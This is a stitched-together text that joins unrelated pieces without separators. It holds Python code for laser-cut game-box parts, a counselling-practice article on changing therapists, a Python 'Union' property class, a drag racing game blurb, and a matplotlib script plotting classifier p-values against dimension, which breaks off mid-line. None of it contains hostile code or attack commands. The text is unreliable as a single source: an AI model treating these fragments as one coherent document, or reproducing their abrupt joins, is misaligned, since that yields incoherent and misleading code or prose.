""" Simple movable divider. A wall with small feet for a little more stability. """ if self.move(height, width, move, True): return t = self.thickness self.polyline( height - t, 90, t, -90, t, 90, width - 2 * t, 90, t, -90, t, 90, height - t, 90, width, 90, ) self.move(height, width, move) self.render_simple_tray_divider_feet(width, height, move) def render_simple_tray_divider_feet(self, width, height, move): sqr2 = math.sqrt(2) t = self.thickness divider_foot_width = 2 * t full_width = t + 2 * divider_foot_width move_length = self.spacing + full_width / sqr2 move_width = self.spacing + max(full_width, height) if self.move(move_width, move_length, move, True): return self.ctx.save() self.polyline( sqr2 * divider_foot_width, 135, t, -90, t, -90, t, 135, sqr2 * divider_foot_width, 135, full_width, 135, ) self.ctx.restore() self.moveTo(-self.burn / sqr2, self.burn * (1 + 1 / sqr2), 45) self.moveTo(full_width) self.polyline( 0, 135, sqr2 * divider_foot_width, 135, t, -90, t, -90, t, 135, sqr2 * divider_foot_width, 135, ) self.move(move_width, move_length, move) class MoorBoxSideEdge(edges.BaseEdge): """ Edge for the sides of the moor tiles box """ def __init__(self, boxes, corner_length, corner_height, lower_corner): super(MoorBoxSideEdge, self).__init__(boxes, None) self.corner_height = corner_height self.lower_corner = lower_corner self.corner_length = corner_length def __call__(self, length, **kw): radius = self.corner_height / 2 if self.lower_corner: self.polyline( length - self.corner_height - self.corner_length, (90, radius), 0, (-90, radius), self.corner_length, ) else: self.polyline(length) def startwidth(self): return self.corner_height def endwidth(self): return 0 if self.lower_corner else self.corner_height class MoorBoxHoleEdge(edges.BaseEdge): """ Edge which does the notches for the moor tiles box """ def __init__(self, boxes, height, corner_height, lower_corner): super(MoorBoxHoleEdge, self).__init__(boxes, None) self.height = height self.corner_height = corner_height self.lower_corner = lower_corner def __call__(self, length, **kw): one_side_width = (length - self.thickness) / 2 notch_width = 20 radius = 6 upper_edge = (one_side_width - notch_width - 2 * radius) / 2 hole_start = 10 lowered_hole_start = 2 hole_depth = self.height - 2 * radius lower_edge = notch_width - 2 * radius one_side_polyline = lambda margin1, margin2: [ upper_edge, (90, radius), hole_depth - margin1, (-90, radius), lower_edge, (-90, radius), hole_depth - margin2, (90, radius), upper_edge, ] normal_side_polyline = one_side_polyline(hole_start, hole_start) corner_side_polyline = one_side_polyline( lowered_hole_start, lowered_hole_start + self.corner_height ) full_polyline = ( normal_side_polyline + [0, self.thickness, 0] + (corner_side_polyline if self.lower_corner else normal_side_polyline) ) self.polyline(*full_polyline) def startwidth(self): return self.corner_height def endwidth(self): return 0 if self.lower_corner else self.corner_height class BedHeadEdge(edges.BaseEdge): """ Edge which does the head side of the Agricola player box """ def __init__(self, boxes, hole_depth): super(BedHeadEdge, self).__init__(boxes, None) self.hole_depth = hole_depth def __call__(self, length, **kw): hole_length = 16 upper_corner = 10 lower_corner = 6 depth = self.hole_depth - upper_corner - lower_corner upper_edge = (length - hole_length - 2 * upper_corner) / 2 lower_edge = hole_length - 2 * lower_corner self.polyline( upper_edge, (90, upper_corner), depth, (-90, lower_corner), lower_edge, (-90, lower_corner), depth, (90, upper_corner), upper_edge, ) class Bed2SidesEdge(edges.BaseEdge): """ Edge which does a bed like shape, skipping the next corner. The next edge should be a NoopEdge """ def __init__(self, boxes, bed_length, full_head_length, full_foot_height): super(Bed2SidesEdge, self).__init__(boxes, None) self.bed_length = bed_length self.full_head_length = full_head_length self.full_foot_height = full_foot_height def __call__(self, bed_height, **kw): foot_corner = 6 middle_corner = 3 head_corner = 10 foot_height = self.full_foot_height - self.thickness - foot_corner head_length = self.full_head_length - head_corner - self.thickness corners = foot_corner + middle_corner + head_corner head_height = bed_height - foot_height - corners middle_length = self.bed_length - head_length - corners self.polyline( foot_height, (90, foot_corner), middle_length, (-90, middle_corner), head_height, (90, head_corner), head_length, ) class NoopEdge(edges.BaseEdge): """ Edge which does nothing, not even turn or move. """ def __init__(self, boxes): super(NoopEdge, self).__init__(boxes, None) def __call__(self, length, **kw): # cancel turn self.corner(-90)
Starting over with a new therapist can be a stressful and confusing situation to navigate. Inevitably, there are a lot of important questions that come up. For one thing, how do you tell your therapist that you’re thinking about ending things? Or do you have this conversation at all? And, when you finally do pull the plug, how do you avoid ending up right back where you started with your new therapist? These can be hard questions to answer, especially because no one ever seems to talk about the “right way” to break up with your therapist and begin working with someone else. But these questions are important ones. The work you do in therapy holds the potential to be life-changing and, at the very least, you want it to be effective. How do you know when it’s time to end things with your current therapist? Determining if your therapist is a good fit can take time. If you’re just getting started with a new therapist, give it at least a few sessions. It usually takes several sessions before you and your therapist hit your collective stride. There’s also the unfortunate reality that, at the outset of counseling, things often end up getting worse before they get better. Talking though painful situations and confronting difficult emotions sometimes sets us back a bit at the start. Additionally, first and second sessions are usually a time for your therapist to get to know you and to identify your goals for counseling. These early sessions are not always representative of how he or she will work with you in subsequent sessions. Plus, the process of sharing intimate details of your life with a virtual stranger is inherently unsettling, making it hard to make a truly fair assessment of your therapist at the outset of therapy. Still, the importance of finding a therapist who’s a good fit for you can’t be overstated. If you’re not feeling heard, understood or validated, it’s likely time to cut ties with your current therapist. How do you tell your current therapist you’re moving on? There’s no rule that says you must tell your counselor you’re ending your work together. However, having this conversation can be helpful for a couple of reasons. First, your current therapist may not have any idea that you’re less than satisfied with how things are going in therapy. Sharing this with him or her is your opportunity to communicate what you’re looking for in therapy and could bring about helpful changes in your work together. Taking this approach may also save you from having to start all over again with a new therapist, which is never ideal. That said, sometimes the fit between client and therapist just isn’t right. Most of the time, when this is the case, you just know it’s time to move on and start fresh with a new therapist. How do you move forward with your new therapist? When starting out with a new therapist, it can be helpful to share about your previous therapy experiences. I always ask my clients about what’s been helpful for them and what hasn’t been so helpful in their work with other therapists so that I can I build on what’s worked well for them in the past. Keep in mind that starting over with a new therapist generally means starting back at the beginning. Signing a release of information, which allows your previous therapist to share his or her notes with your new therapist, is one way (at least in theory) to pick up where you left off in your previous work. The downside to this option is that your former therapist’s notes will unavoidably color your new therapist’s impressions of you and your situation, which is certainly not ideal, especially if you’re looking for a fresh start with a new therapist. It’s natural, of course, to want to speed the therapy process along, especially after you’ve made the decision to start over with a new therapist. But it’s important to remember that therapy truly is a process, and building a therapeutic relationship takes time. In the end, though, it’s often the process itself that yields the most meaningful and lasting results. Are you looking to start fresh with a new counselor? Call Charlotte Counseling & Wellness today to learn more about working with us.
"""union.py: Union property""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals from warnings import warn from six import PY2 from .base import GENERIC_ERRORS, HasProperties from .instance import Instance from .. import basic from .. import utils if PY2: from types import ClassType #pylint: disable=no-name-in-module CLASS_TYPES = (type, ClassType) else: CLASS_TYPES = (type,) class Union(basic.Property): """Property with multiple valid Property types **Union** Properties contain a list of :ref:`property` instances. Validation, serialization, etc. cycle through the corresponding method on the each Property instance sequentially until one succeeds. If all Property types raise an error, the Union Property will also raise an error. .. note:: When specifying Property types, the order matters; if multiple types are valid, the earlier type will be favored. For example, .. code:: import properties union_0 = properties.Union( doc='String and Color', props=(properties.String(''), properties.Color('')), ) union_1 = properties.Union( doc='String and Color', props=(properties.Color(''), properties.String('')), ) union_0.validate(None, 'red') == 'red' # Validates to string union_1.validate(None, 'red') == (255, 0, 0) # Validates to color **Available keywords** (in addition to those inherited from :ref:`Property <property>`): * **props** - A list of Property instances that each specify a valid type for the Union Property. HasProperties classes may also be specified; these are coerced to Instance Properties of the respective class. """ class_info = 'a union of multiple property types' def __init__(self, doc, props, **kwargs): self.props = props super(Union, self).__init__(doc, **kwargs) self._unused_default_warning() @property def props(self): """List of valid property types or HasProperties classes""" return self._props @props.setter def props(self, value): if not isinstance(value, (tuple, list)): raise TypeError('props must be a list') new_props = tuple() for prop in value: if (isinstance(prop, CLASS_TYPES) and issubclass(prop, HasProperties)): prop = Instance('', prop) if not isinstance(prop, basic.Property): raise TypeError('props must be Property instances or ' 'HasProperties classes') new_props += (prop,) self._props = new_props @property def strict_instances(self): """Require input dictionaries for instances to be valid If True, this passes :code:`strict=True` and :code:`assert_valid=True` to the instance deserializer, ensuring the instance is valid. Default is False. """ return getattr(self, '_strict_instances', False) @strict_instances.setter def strict_instances(self, value): if not isinstance(value, bool): raise TypeError('strict_instances must be a boolean') self._strict_instances = value @property def info(self): """Description of the property, supplemental to the basic doc""" return ' or '.join([p.info or 'any value' for p in self.props]) @property def name(self): """The name of the property on a HasProperties class This is set in the metaclass. For Unions, props inherit the name. """ return getattr(self, '_name', '') @name.setter def name(self, value): for prop in self.props: prop.name = value self._name = value @property def default(self): """Default value of the property""" prop_def = getattr(self, '_default', utils.undefined) for prop in self.props: if prop.default is utils.undefined: continue if prop_def is utils.undefined: prop_def = prop.default break return prop_def @default.setter def default(self, value): if value is utils.undefined: self._default = value return for prop in self.props: try: if callable(value): prop.validate(None, value()) else: prop.validate(None, value) self._default = value return except GENERIC_ERRORS: continue raise TypeError('Invalid default for Union property') def _unused_default_warning(self): prop_def = getattr(self, '_default', utils.undefined) for prop in self.props: if prop.default is utils.undefined: continue if prop_def is utils.undefined: prop_def = prop.default elif prop_def != prop.default: warn('Union prop default ignored: {}'.format(prop.default), RuntimeWarning) def _try_prop_method(self, instance, value, method_name): """Helper method to perform a method on each of the union props This method gathers all errors and returns them at the end if the method on each of the props fails. """ error_messages = [] for prop in self.props: try: return getattr(prop, method_name)(instance, value) except GENERIC_ERRORS as err: if hasattr(err, 'error_tuples'): error_messages += [ err_tup.message for err_tup in err.error_tuples ] if error_messages: extra = 'Possible explanation:' for message in error_messages: extra += '\n - {}'.format(message) else: extra = '' self.error(instance, value, extra=extra) def validate(self, instance, value): """Check if value is a valid type of one of the Union props""" return self._try_prop_method(instance, value, 'validate') def assert_valid(self, instance, value=None): """Check if the Union has a valid value""" valid = super(Union, self).assert_valid(instance, value) if not valid: return False if value is None: value = instance._get(self.name) if value is None: return True return self._try_prop_method(instance, value, 'assert_valid') def serialize(self, value, **kwargs): """Return a serialized value If no serializer is provided, it uses the serialize method of the prop corresponding to the value """ kwargs.update({'include_class': kwargs.get('include_class', True)}) if self.serializer is not None: return self.serializer(value, **kwargs) if value is None: return None for prop in self.props: try: prop.validate(None, value) except GENERIC_ERRORS: continue return prop.serialize(value, **kwargs) return self.to_json(value, **kwargs) def deserialize(self, value, **kwargs): """Return a deserialized value If no deserializer is provided, it uses the deserialize method of the prop corresponding to the value """ kwargs.update({'trusted': kwargs.get('trusted', False)}) if self.deserializer is not None: return self.deserializer(value, **kwargs) if value is None: return None instance_props = [ prop for prop in self.props if isinstance(prop, Instance) ] kwargs = kwargs.copy() kwargs.update({ 'strict': kwargs.get('strict') or self.strict_instances, 'assert_valid': self.strict_instances, }) if isinstance(value, dict) and value.get('__class__'): clsname = value.get('__class__') for prop in instance_props: if clsname == prop.instance_class.__name__: return prop.deserialize(value, **kwargs) for prop in self.props: try: out_val = prop.deserialize(value, **kwargs) prop.validate(None, out_val) return out_val except GENERIC_ERRORS: continue return self.from_json(value, **kwargs) def equal(self, value_a, value_b): return any((prop.equal(value_a, value_b) for prop in self.props)) @staticmethod def to_json(value, **kwargs): """Return value, serialized if value is a HasProperties instance""" if isinstance(value, HasProperties): return value.serialize(**kwargs) return value def sphinx_class(self): """Redefine sphinx class to provide doc links to types of props""" return ', '.join(p.sphinx_class() for p in self.props)
Description: Drag Racer v3 is the authentic drag racing simulator where you'll get the chance to test out your wheels and driving skills against different opponents. Buy a car, tune it, modify and race it. Collect credits to buy tuner parts and customize your ride. Fill up your virtual garage with your own tricked out machines.
import sys import numpy as np import matplotlib.pyplot as plt import os # Options for mode 'single_p_values','ensemble', 'ensemble_redefined', 'ensemble_redefined_noCPV', 'ensemble_redefined_optimised', 'ensemble_redefined_noCPV_optimised' MODE= 'ensemble_redefined_noCPV_optimised' if MODE == 'single_p_values': dimensions=[2,3,4,5,6,7,8,9,10] print("Gaussian same projection on each axis dimensional analysis \n") p_bdt = [] for dim in dimensions: temp = np.loadtxt("../bdt_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection__0_1__0_085_bdt_p_values') p_bdt.append(temp) print("Boosted decision tree : ", p_bdt) p_svm = [] for dim in dimensions: temp = np.loadtxt("../svm_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection__0_1__0_085_svm_p_values') p_svm.append(temp) print("Support vector machine : ", p_svm) p_nn = [] for dim in dimensions: temp = np.loadtxt("../nn_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection__0_1__0_085_nn_4layers_100neurons_onehot_p_values') p_nn.append(temp) print("Neural Network : ", p_nn) p_miranda_2bins = [] for dim in dimensions: temp = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_p_value_distribution__0_1__0_085_CPV_miranda_"+ str(dim)+ "D_2_bins_p_values") p_miranda_2bins.append(temp) print("Miranda 2 bins : ",p_miranda_2bins ) p_miranda_3bins = [ ] for dim in dimensions: temp = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_p_value_distribution__0_1__0_085_CPV_miranda_"+ str(dim)+ "D_3_bins_p_values") p_miranda_3bins.append(temp) print("Miranda 3 bins : ",p_miranda_3bins ) p_miranda_5bins = [ ] for dim in dimensions: temp = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_p_value_distribution__0_1__0_085_CPV_miranda_"+ str(dim)+ "D_5_bins_p_values") p_miranda_5bins.append(temp) print("Miranda 5 bins : ",p_miranda_5bins ) fig = plt.figure() ax = fig.add_subplot(1,1,1) ax.plot(dimensions,p_bdt,label="bdt ",color='darkorange') ax.plot(dimensions,p_svm,label="svm ",color='lawngreen') ax.plot(dimensions,p_nn,label="nn 4l 100n ",color='blueviolet') ax.plot(dimensions,p_miranda_2bins,label="Miranda 2bins",color='red') ax.plot(dimensions,p_miranda_3bins,label="Miranda 3bins",color='indianred') ax.plot(dimensions,p_miranda_5bins,label="Miranda 5bins",color='saddlebrown') ax.set_yscale('log') plt.ylim([0,1]) ax.set_xlabel("Number of dimensions") ax.set_ylabel("P value") ax.set_title("Dimensionality analysis gaussian same projection sigmas perp .1 and 0.085") ax.legend(loc='lower left') fig_name="gaussian_same_projection__0_1__0_085_dimensionality_analysis" fig.savefig(fig_name) fig.savefig("../bdt_gaussian_same_projection/"+fig_name) fig.savefig("../svm_gaussian_same_projection/"+fig_name) fig.savefig("../nn_gaussian_same_projection/"+fig_name) fig.savefig("../miranda_gaussian_same_projection/"+fig_name) print("Saved the figure as" , fig_name+".png") elif MODE == 'ensemble': dimensions=[2,3,4,5,6,7,8,9,10] p_1_bdt = [] p_2_bdt = [] p_3_bdt = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../bdt_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection__0_1__0_085_bdt_p_values_1_2_3_std_dev.txt') p_1_bdt.append(temp1), p_2_bdt.append(temp2), p_3_bdt.append(temp3) print("Boosted decision tree : ", p_1_bdt,p_2_bdt,p_3_bdt) p_1_svm = [] p_2_svm = [] p_3_svm = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../svm_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection__0_1__0_085_svm_ensemble_p_values_1_2_3_std_dev.txt') p_1_svm.append(temp1), p_2_svm.append(temp2), p_3_svm.append(temp3) print("Support vector machine : ", p_1_svm,p_2_svm,p_3_svm) p_1_miranda_2bins = [] p_2_miranda_2bins = [] p_3_miranda_2bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_p_value_distribution__0_1__0_085_CPV_miranda_"+str(dim)+'D_2_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_2bins.append(temp1), p_2_miranda_2bins.append(temp2), p_3_miranda_2bins.append(temp3) print("Miranda 2 bins: ", p_1_miranda_2bins,p_2_miranda_2bins,p_3_miranda_2bins) p_1_miranda_3bins = [] p_2_miranda_3bins = [] p_3_miranda_3bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_p_value_distribution__0_1__0_085_CPV_miranda_"+str(dim)+'D_3_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_3bins.append(temp1), p_2_miranda_3bins.append(temp2), p_3_miranda_3bins.append(temp3) print("Miranda 3 bins: ", p_1_miranda_3bins,p_2_miranda_3bins,p_3_miranda_3bins) p_1_miranda_5bins = [] p_2_miranda_5bins = [] p_3_miranda_5bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_p_value_distribution__0_1__0_085_CPV_miranda_"+str(dim)+'D_5_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_5bins.append(temp1), p_2_miranda_5bins.append(temp2), p_3_miranda_5bins.append(temp3) print("Miranda 5 bins: ", p_1_miranda_5bins,p_2_miranda_5bins,p_3_miranda_5bins) fig = plt.figure() ax = fig.add_subplot(1,1,1) ax.plot(dimensions,p_2_bdt,label="bdt 2$\sigma$",color='darkorange') ax.plot(dimensions,p_2_svm,label="svm 2$\sigma$",color='lawngreen') ax.plot(dimensions,p_2_miranda_2bins,label="Miranda 2bins 2$\sigma$",color='red') ax.plot(dimensions,p_2_miranda_3bins,label="Miranda 3bins 2$\sigma$",color='indianred') ax.plot(dimensions,p_2_miranda_5bins,label="Miranda 5bins 2$\sigma$",color='saddlebrown') plt.ylim([-5,105]) ax.set_xlabel("Number of dimensions") ax.set_ylabel("Number of samples") ax.set_title("Dimensionality analysis") ax.legend(loc='right') fig_name="gaussian_same_projection__0_1__0_085_ensemble_dimensionality_analysis" fig.savefig(fig_name) fig.savefig("../bdt_gaussian_same_projection/"+fig_name) fig.savefig("../svm_gaussian_same_projection/"+fig_name) fig.savefig("../miranda_gaussian_same_projection/"+fig_name) print("Saved the figure as" , fig_name+".png") elif MODE == 'ensemble_redefined': dimensions=[2,3,4,5,6,7,8,9,10] p_1_bdt = [] p_2_bdt = [] p_3_bdt = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../bdt_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection_redefined__0_1__0_075_bdt_p_values_1_2_3_std_dev.txt') p_1_bdt.append(temp1), p_2_bdt.append(temp2), p_3_bdt.append(temp3) print("Boosted decision tree : ", p_1_bdt,p_2_bdt,p_3_bdt) p_1_svm = [] p_2_svm = [] p_3_svm = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../svm_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection_redefined__0_1__0_075_svm_p_values_1_2_3_std_dev.txt') p_1_svm.append(temp1), p_2_svm.append(temp2), p_3_svm.append(temp3) print("Support vector machine : ", p_1_svm,p_2_svm,p_3_svm) p_1_miranda_2bins = [] p_2_miranda_2bins = [] p_3_miranda_2bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_075_CPV_miranda_"+str(dim)+'D_2_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_2bins.append(temp1), p_2_miranda_2bins.append(temp2), p_3_miranda_2bins.append(temp3) print("Miranda 2 bins: ", p_1_miranda_2bins,p_2_miranda_2bins,p_3_miranda_2bins) p_1_miranda_3bins = [] p_2_miranda_3bins = [] p_3_miranda_3bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_075_CPV_miranda_"+str(dim)+'D_3_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_3bins.append(temp1), p_2_miranda_3bins.append(temp2), p_3_miranda_3bins.append(temp3) print("Miranda 3 bins: ", p_1_miranda_3bins,p_2_miranda_3bins,p_3_miranda_3bins) p_1_miranda_5bins = [] p_2_miranda_5bins = [] p_3_miranda_5bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_075_CPV_miranda_"+str(dim)+'D_5_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_5bins.append(temp1), p_2_miranda_5bins.append(temp2), p_3_miranda_5bins.append(temp3) print("Miranda 5 bins: ", p_1_miranda_5bins,p_2_miranda_5bins,p_3_miranda_5bins) fig = plt.figure() ax = fig.add_subplot(1,1,1) ax.plot(dimensions,p_2_bdt,label="bdt 2$\sigma$",color='darkorange') ax.plot(dimensions,p_2_svm,label="svm 2$\sigma$",color='lawngreen') ax.plot(dimensions,p_2_miranda_2bins,label="Miranda 2bins 2$\sigma$",color='red') ax.plot(dimensions,p_2_miranda_3bins,label="Miranda 3bins 2$\sigma$",color='indianred') ax.plot(dimensions,p_2_miranda_5bins,label="Miranda 5bins 2$\sigma$",color='saddlebrown') plt.ylim([-5,120]) ax.set_xlabel("Number of dimensions") ax.set_ylabel("Number of samples") ax.set_title("Dimensionality analysis redefined 0.075") ax.legend(loc='upper left') fig_name="gaussian_same_projection_redefined__0_1__0_075_ensemble_dimensionality_analysis" fig.savefig(fig_name) fig.savefig("../bdt_gaussian_same_projection/"+fig_name) fig.savefig("../svm_gaussian_same_projection/"+fig_name) fig.savefig("../miranda_gaussian_same_projection/"+fig_name) print("Saved the figure as" , fig_name+".png") elif MODE == 'ensemble_redefined_noCPV': dimensions=[2,3,4,5,6,7,8,9,10] p_1_bdt = [] p_2_bdt = [] p_3_bdt = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../bdt_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection_redefined__0_1__0_1_noCPV_bdt_p_values_1_2_3_std_dev.txt') p_1_bdt.append(temp1), p_2_bdt.append(temp2), p_3_bdt.append(temp3) print("Boosted decision tree : ", p_1_bdt,p_2_bdt,p_3_bdt) p_1_svm = [] p_2_svm = [] p_3_svm = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../svm_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection_redefined__0_1__0_1_noCPV_svm_p_values_1_2_3_std_dev.txt') p_1_svm.append(temp1), p_2_svm.append(temp2), p_3_svm.append(temp3) print("Support vector machine : ", p_1_svm,p_2_svm,p_3_svm) p_1_miranda_2bins = [] p_2_miranda_2bins = [] p_3_miranda_2bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_1_noCPV_miranda_"+str(dim)+'D_2_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_2bins.append(temp1), p_2_miranda_2bins.append(temp2), p_3_miranda_2bins.append(temp3) print("Miranda 2 bins: ", p_1_miranda_2bins,p_2_miranda_2bins,p_3_miranda_2bins) p_1_miranda_3bins = [] p_2_miranda_3bins = [] p_3_miranda_3bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_1_noCPV_miranda_"+str(dim)+'D_3_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_3bins.append(temp1), p_2_miranda_3bins.append(temp2), p_3_miranda_3bins.append(temp3) print("Miranda 3 bins: ", p_1_miranda_3bins,p_2_miranda_3bins,p_3_miranda_3bins) p_1_miranda_5bins = [] p_2_miranda_5bins = [] p_3_miranda_5bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_1_noCPV_miranda_"+str(dim)+'D_5_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_5bins.append(temp1), p_2_miranda_5bins.append(temp2), p_3_miranda_5bins.append(temp3) print("Miranda 5 bins: ", p_1_miranda_5bins,p_2_miranda_5bins,p_3_miranda_5bins) fig = plt.figure() ax = fig.add_subplot(1,1,1) ax.plot(dimensions,p_2_bdt,label="bdt 2$\sigma$",color='darkorange') ax.plot(dimensions,p_2_svm,label="svm 2$\sigma$",color='lawngreen') ax.plot(dimensions,p_2_miranda_2bins,label="Miranda 2bins 2$\sigma$",color='red') ax.plot(dimensions,p_2_miranda_3bins,label="Miranda 3bins 2$\sigma$",color='indianred') ax.plot(dimensions,p_2_miranda_5bins,label="Miranda 5bins 2$\sigma$",color='saddlebrown') plt.ylim([-5,105]) ax.set_xlabel("Number of dimensions") ax.set_ylabel("Number of samples") ax.set_title("Dimensionality analysis redefined noCPV") ax.legend(loc='right') fig_name="gaussian_same_projection_redefined__0_1__0_1_noCPV_ensemble_dimensionality_analysis" fig.savefig(fig_name) fig.savefig("../bdt_gaussian_same_projection/"+fig_name) fig.savefig("../svm_gaussian_same_projection/"+fig_name) fig.savefig("../miranda_gaussian_same_projection/"+fig_name) print("Saved the figure as" , fig_name+".png") elif MODE == 'ensemble_redefined_optimised': dimensions=[2,3,4,5,6,7,8,9,10] p_1_bdt = [] p_2_bdt = [] p_3_bdt = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../bdt_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection_redefined__0_1__0_075_optimised_bdt_p_values_1_2_3_std_dev.txt') p_1_bdt.append(temp1), p_2_bdt.append(temp2), p_3_bdt.append(temp3) print("Boosted decision tree : ", p_1_bdt,p_2_bdt,p_3_bdt) p_1_svm = [] p_2_svm = [] p_3_svm = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../svm_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection_redefined__0_1__0_075_optimised_svm_p_values_1_2_3_std_dev.txt') p_1_svm.append(temp1), p_2_svm.append(temp2), p_3_svm.append(temp3) print("Support vector machine : ", p_1_svm,p_2_svm,p_3_svm) p_1_nn = [] p_2_nn = [] p_3_nn = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../nn_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection_redefined__0_1__0_075_optimised_p_values_1_2_3_std_dev.txt') p_1_nn.append(temp1), p_2_nn.append(temp2), p_3_nn.append(temp3) print("Boosted decision tree : ", p_1_bdt,p_2_bdt,p_3_bdt) p_1_miranda_2bins = [] p_2_miranda_2bins = [] p_3_miranda_2bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_075_CPV_miranda_"+str(dim)+'D_2_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_2bins.append(temp1), p_2_miranda_2bins.append(temp2), p_3_miranda_2bins.append(temp3) print("Miranda 2 bins: ", p_1_miranda_2bins,p_2_miranda_2bins,p_3_miranda_2bins) p_1_miranda_3bins = [] p_2_miranda_3bins = [] p_3_miranda_3bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_075_CPV_miranda_"+str(dim)+'D_3_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_3bins.append(temp1), p_2_miranda_3bins.append(temp2), p_3_miranda_3bins.append(temp3) print("Miranda 3 bins: ", p_1_miranda_3bins,p_2_miranda_3bins,p_3_miranda_3bins) p_1_miranda_5bins = [] p_2_miranda_5bins = [] p_3_miranda_5bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_075_CPV_miranda_"+str(dim)+'D_5_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_5bins.append(temp1), p_2_miranda_5bins.append(temp2), p_3_miranda_5bins.append(temp3) print("Miranda 5 bins: ", p_1_miranda_5bins,p_2_miranda_5bins,p_3_miranda_5bins) fig = plt.figure() ax = fig.add_subplot(1,1,1) ax.plot(dimensions,p_2_bdt,label="bdt 2$\sigma$",color='darkorange') ax.plot(dimensions,p_2_svm,label="svm 2$\sigma$",color='lawngreen') ax.plot(dimensions,p_2_nn,label="nn 2$\sigma$",color='blue') ax.plot(dimensions,p_2_miranda_2bins,label="Miranda 2bins 2$\sigma$",color='red') ax.plot(dimensions,p_2_miranda_3bins,label="Miranda 3bins 2$\sigma$",color='indianred') ax.plot(dimensions,p_2_miranda_5bins,label="Miranda 5bins 2$\sigma$",color='saddlebrown') plt.ylim([-5,120]) ax.set_xlabel("Number of dimensions") ax.set_ylabel("Number of samples") ax.set_title("Dimensionality analysis redefined 0.075") ax.legend(loc='best') fig_name="gaussian_same_projection_redefined__0_1__0_075_optimised_ensemble_dimensionality_analysis" fig.savefig(fig_name) fig.savefig("../bdt_gaussian_same_projection/"+fig_name) fig.savefig("../svm_gaussian_same_projection/"+fig_name) fig.savefig("../miranda_gaussian_same_projection/"+fig_name) print("Saved the figure as" , fig_name+".png") elif MODE == 'ensemble_redefined_noCPV_optimised': dimensions=[2,3,4,5,6,7,8,9,10] p_1_bdt = [] p_2_bdt = [] p_3_bdt = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../bdt_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection_redefined__0_1__0_1_noCPV_optimised_bdt_p_values_1_2_3_std_dev.txt') p_1_bdt.append(temp1), p_2_bdt.append(temp2), p_3_bdt.append(temp3) print("Boosted decision tree : ", p_1_bdt,p_2_bdt,p_3_bdt) p_1_svm = [] p_2_svm = [] p_3_svm = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../svm_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection_redefined__0_1__0_1_noCPV_optimised_svm_p_values_1_2_3_std_dev.txt') p_1_svm.append(temp1), p_2_svm.append(temp2), p_3_svm.append(temp3) print("Support vector machine : ", p_1_svm,p_2_svm,p_3_svm) p_1_nn = [] p_2_nn = [] p_3_nn = [] for dim in range(2,11): temp1,temp2,temp3 = 